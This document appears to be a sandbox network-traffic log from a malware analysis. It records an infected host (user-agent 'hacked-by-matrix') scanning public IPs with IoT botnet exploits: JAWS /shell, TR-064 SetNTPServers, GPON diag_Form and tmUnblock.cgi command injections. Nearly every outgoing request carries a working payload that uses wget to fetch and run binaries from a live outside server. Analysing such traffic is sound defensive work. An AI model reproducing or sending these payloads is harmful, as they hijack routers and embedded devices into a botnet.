552	192.168.2.14	38676	216.119.155.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.849889994 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:10.017438889 CET	419	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:09 GMT Server: Apache/2.4.6 (CentOS) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.14	46538	51.91.138.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.853558064 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:10.718349934 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:11.745445013 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:11.915288925 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.14	58512	23.233.11.247	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:10.775800943 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.14	49530	86.182.180.103	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:10.838737965 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.14	50134	62.37.202.224	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:10.844187975 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:11.841264963 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:12.990489006 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.14	49834	177.105.145.126	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:10.895298958 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:12.130306959 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:12.353255987 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 01:22:11 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.14	58554	23.233.11.247	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:10.896823883 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:11.518271923 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.14	56604	102.165.53.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:10.964354992 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:11.140671015 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.14	41656	47.254.132.81	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:10.964375019 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:11.159295082 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.13.5 Date: Thu, 21 Mar 2024 04:22:11 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 33 2e 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.13.5</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.14	45442	71.179.234.198	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.035592079 CET	224	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Thu, 21 Mar 2024 04:22:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.14	49642	86.182.180.103	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.035928965 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.14	36328	54.192.255.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.067517042 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:11.985790014 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:12.270379066 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:22:12 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 f752a4d41a2511a59763cb194d38dae8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: NRT51-C4 X-Amz-Cf-Id: 8EjqNQMorQNJqMvDJUtP6q18QZarLI_Z9lXLDIC8IPDe3OtAEz12LA== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 38 45 6a 71 4e 51 4d 6f 72 51 4e 4a 71 4d 76 44 4a 55 74 50 36 71 31 38 51 5a 61 72 4c 49 5f 5a 39 6c 58 4c 44 49 43 38 49 50 44 65 33 4f 74 41 45 7a 31 32 4c 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: 8EjqNQMorQNJqMvDJUtP6q18QZarLI_Z9lXLDIC8IPDe3OtAEz12LA==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.14	53960	172.67.178.148	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.127193928 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:11.713285923 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.14	43378	98.175.80.26	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.135540009 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.14	39994	109.245.193.96	443

Timestamp	Bytes transferred	Direction	Data
